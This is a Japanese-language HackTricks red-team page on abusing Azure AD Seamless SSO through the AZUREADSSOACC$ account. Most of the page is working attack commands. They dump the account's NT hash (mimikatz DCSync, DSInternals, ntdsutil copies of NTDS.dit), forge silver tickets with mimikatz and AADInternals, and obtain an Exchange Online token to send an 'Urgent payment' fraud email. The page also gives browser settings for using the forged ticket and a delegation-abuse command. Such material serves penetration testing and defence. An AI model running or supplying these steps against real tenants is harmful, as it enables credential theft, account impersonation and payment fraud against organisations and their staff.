Az - Seamless SSO

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

公式ドキュメントから: Azure Active Directory Seamless Single Sign-On(Azure AD Seamless SSO)は、ユーザーが企業ネットワークに接続された企業デバイス上にいるときに自動的にサインインします。有効になっている場合、ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名さえ入力する必要がありません。この機能により、ユーザーはオンプレミスコンポーネントを追加する必要なく、クラウドベースのアプリケーションに簡単にアクセスできます。

基本的に、Azure AD Seamless SSOは、オンプレミスドメインに参加したPC上にいるユーザーをサインインします。

PHS(Password Hash Sync)およびPTA(Pass-through Authentication)の両方でサポートされています。

デスクトップSSOは、認証にKerberosを使用しています。構成されると、Azure AD ConnectはオンプレミスADにAZUREADSSOACC$というコンピューターアカウントを作成します。AZUREADSSOACC$アカウントのパスワードは構成中に平文でAzure ADに送信されます。

KerberosチケットはパスワードのNTHash(MD4)で暗号化され、Azure ADは送信されたパスワードを使用してチケットを復号化します。

Azure ADは、Kerberos チケットを受け入れるエンドポイント(https://autologon.microsoftazuread-sso.com)を公開しています。ドメイン参加済みマシンのブラウザは、SSOのためにこれらのチケットをこのエンドポイントに転送します。

オンプレミス -> クラウド

ユーザー**AZUREADSSOACC$のパスワードは変更されません**。したがって、ドメイン管理者はこのアカウントのハッシュを妨害し、それを使用して任意のオンプレユーザーを同期してAzureに接続するためのシルバーチケットを作成することができます。

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

ハッシュを使用して、今後はシルバーチケットを生成できます:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

以下はシルバーチケットを利用するために実行すべき手順です:

  1. ブラウザの起動: Mozilla Firefoxを起動します。

  2. ブラウザの設定:

  • about:config に移動します。

  • network.negotiate-auth.trusted-uris の設定を指定されたに設定します:

  • https://aadg.windows.net.nsatc.net

  • https://autologon.microsoftazuread-sso.com

  1. Webアプリケーションへのアクセス:

  • 組織のAADドメインと統合されたWebアプリケーションにアクセスします。一般的な例としてOffice 365があります。

  1. 認証プロセス:

  • ログオン画面で、ユーザー名を入力し、パスワード欄は空白のままにします。

  • 続行するには、TABキーまたはENTERキーを押します。

これはMFAが有効な場合はバイパスされません

クラウド専用ユーザー向けのKerberosチケットの作成

Active Directory管理者がAzure AD Connectにアクセスできる場合、任意のクラウドユーザーにSIDを設定できます。これにより、クラウド専用ユーザー向けにもKerberos チケットを作成できます。唯一の要件は、SIDが適切なSIDであることです。

クラウド専用の管理者ユーザーのSIDを変更することは、現在Microsoftによってブロックされています。 詳細については、https://aadinternals.com/post/on-prem_admin/を確認してください。

オンプレミス -> クラウドへのリソースベースの制約付き委任を介した移動

このアカウントが含まれるコンテナまたはOU内のコンピューターアカウント(AZUREADSSOACC$)を管理できる人は、そのアカウントに対してリソースベースの制約付き委任を構成してアクセスできます。

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

参考文献

htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!

HackTricks をサポートする他の方法:

最終更新